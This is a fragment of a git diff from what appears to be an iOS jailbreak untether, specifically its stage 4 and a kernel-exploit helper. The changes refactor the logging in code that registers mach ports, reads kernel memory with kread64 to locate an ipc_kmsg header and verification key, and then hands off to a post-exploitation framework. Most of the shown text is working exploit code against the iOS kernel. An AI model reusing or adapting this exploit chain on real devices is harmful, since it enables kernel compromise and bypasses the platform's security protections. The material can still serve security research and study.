LOG("failed to register mach port: %x", ret); - goto err; - } + ERR_32("failed to register mach port: ", ret); buffer_msg->head.msgh_remote_port = port; ret = offsets->userland_funcs.mach_msg(&buffer_msg->head, MACH_SEND_MSG, buffer_msg->head.msgh_size, 0, 0, 0, 0); - if (ret != KERN_SUCCESS) - { - LOG("failed to send mach message: %x (%s)", ret, mach_error_string(ret)); - goto err; - } - - uint64_t itk_registered = kread64(our_task_addr + offsets->struct_offsets.itk_registered); + VERIFY_MACH("failed to send mach message: "); + + case 2: + itk_registered = kread64(our_task_addr + offsets->struct_offsets.itk_registered); if (itk_registered == 0x0) { LOG("failed to read our_task_addr->itk_registered!"); goto err; } - LOG("itk_registered: %llx", itk_registered); - - uint16_t msg_count = kread64(itk_registered + offsetof(kport_t, ip_messages.port.msgcount)) & 0xffff; + HEX_64("itk_registered: ", itk_registered); + + case 3: + msg_count = kread64(itk_registered + offsetof(kport_t, ip_messages.port.msgcount)) & 0xffff; if (msg_count != 1) - { - LOG("got weird msgcount! expected 1 but got: %x", msg_count); - goto err; - } + ERR_32("got weird msgcount! expected 1 but got: ", msg_count); - LOG("msg_count: %d", msg_count); - uint64_t messages = kread64(itk_registered + offsetof(kport_t, ip_messages.port.messages)); + HEX_32("msg_count: ", msg_count); + + case 4: + messages = kread64(itk_registered + offsetof(kport_t, ip_messages.port.messages)); if (messages == 0x0) { LOG("unable to find ip_messages.port.messages in kernel port!"); goto err; } - LOG("messages: %llx", messages); + HEX_64("messages: ", messages); - uint64_t header = kread64(messages + 0x18); // ipc_kmsg->ikm_header + case 5: + header = kread64(messages + 0x18); // ipc_kmsg->ikm_header if (header == 0x0) { LOG("unable to find ipc_kmsg->ikm_header"); goto err; } - LOG("header: %llx", header); + HEX_64("header: ", header); - uint64_t key_address = header + 0x20; // ikm_header->verification_key (in the msg body) + case 6: + key_address = header + 0x20; // ikm_header->verification_key (in the msg body) - LOG("key_address: %llx", key_address); + HEX_64("key_address: ", key_address); - uint64_t kernel_key = kread64(key_address); + case 7: + kernel_key = kread64(key_address); if (kernel_key != buffer_msg->verification_key) { - LOG("kernel verification key did not match! found wrong kmsg? expected: %llx, got: %llx", buffer_msg->verification_key, kernel_key); - goto err; + HEX_64("kernel verification key did not match! found wrong kmsg? expected: ", buffer_msg->verification_key); + ERR_64("got: ", kernel_key); } ret = offsets->userland_funcs.mach_ports_register(offsets->userland_funcs.mach_task_self(), NULL, 0); if (ret != KERN_SUCCESS) - { - LOG("failed to call mach_ports_register: %x", ret); - goto err; - } + ERR_32("failed to call mach_ports_register: ", ret); return key_address + sizeof(kernel_key); + default: + goto err; + } + +#undef ERR_32 +#undef ERR_64 +#undef HEX_32 +#undef HEX_64 +#undef VERIFY_MACH + +log_hex32: + len = -1; + while (logstr[++len] != '\0') formatbuf[len] = logstr[len]; + formatbuf[len + 0] = '0'; + formatbuf[len + 1] = 'x'; + formatbuf[len + 10] = '\n'; + formatbuf[len + 11] = '\0'; + for (i = 2; i < 10; ++i) { + j = ((hex64 >> (4 * (9 - i))) & 0xf); + formatbuf[len + i] = j + '0'; + if (j > 9) formatbuf[len + i] += ('a' - '9' - 1); + } + len += 11; + goto log_write; + +log_hex64: + len = -1; + while (logstr[++len] != '\0') formatbuf[len] = logstr[len]; + formatbuf[len + 0] = '0'; + formatbuf[len + 1] = 'x'; + formatbuf[len + 18] = '\n'; + formatbuf[len + 19] = '\0'; + for (i = 2; i < 18; ++i) { + j = ((hex64 >> (4 * (17 - i))) & 0xf); + formatbuf[len + i] = j + '0'; + if (j > 9) formatbuf[len + i] += ('a' - '9' - 1); + } + len += 19; + goto log_write; + +log_err_mach: + if (ret == KERN_SUCCESS) { + ++var; + goto var_loop; + } + + len = -1; + while (logstr[++len] != '\0') formatbuf[len] = logstr[len]; + formatbuf[len + 0] = '0'; + formatbuf[len + 1] = 'x'; + formatbuf[len + 10] = ' '; + formatbuf[len + 11] = '('; + for (i = 2; i < 10; ++i) { + j = ((ret >> (4 * (9 - i))) & 0xf); + formatbuf[len + i] = j + '0'; + if (j > 9) formatbuf[len + i] += ('a' - '9' - 1); + } + len += 11; + i = -1; + logstr = mach_error_string((kern_return_t)ret); + while (logstr[len + (++i)] != '\0') formatbuf[len + i] = logstr[i]; + len += (i + 2); + formatbuf[len - 2] = ')'; + formatbuf[len - 1] = '\n'; + formatbuf[len] = '\0'; + errbit = true; + +log_write: + write(STD_ERR, formatbuf, len); + + if (!errbit) { + ++var; + goto var_loop; + } + err: return 0x0; } diff --git a/src/untether/stage4.m b/src/untether/stage4.m index 545a84e..24e77bf 100644 --- a/src/untether/stage4.m +++ b/src/untether/stage4.m @@ -9,10 +9,13 @@ void sighandler(int signo) { LOG("Stage 4 received signal: %d",signo); } +// Do nothing when we move to the next stage +void sendLog(void* controller, NSString* log) {} + int main() { // just catch all the signals here so that we catch the SIGKILL from launchd and don't exit // NOTE: This is really stupid because you can't catch a SIGKILL for (int i = 0; i < 32; i++) {signal(i,sighandler);} // call out to the post exploitation framework (implemented under shared) - jailbreak(JBOPT_POST_ONLY); + jailbreak(JBOPT_POST_ONLY, NULL, &sendLog); } \ No newline at end of file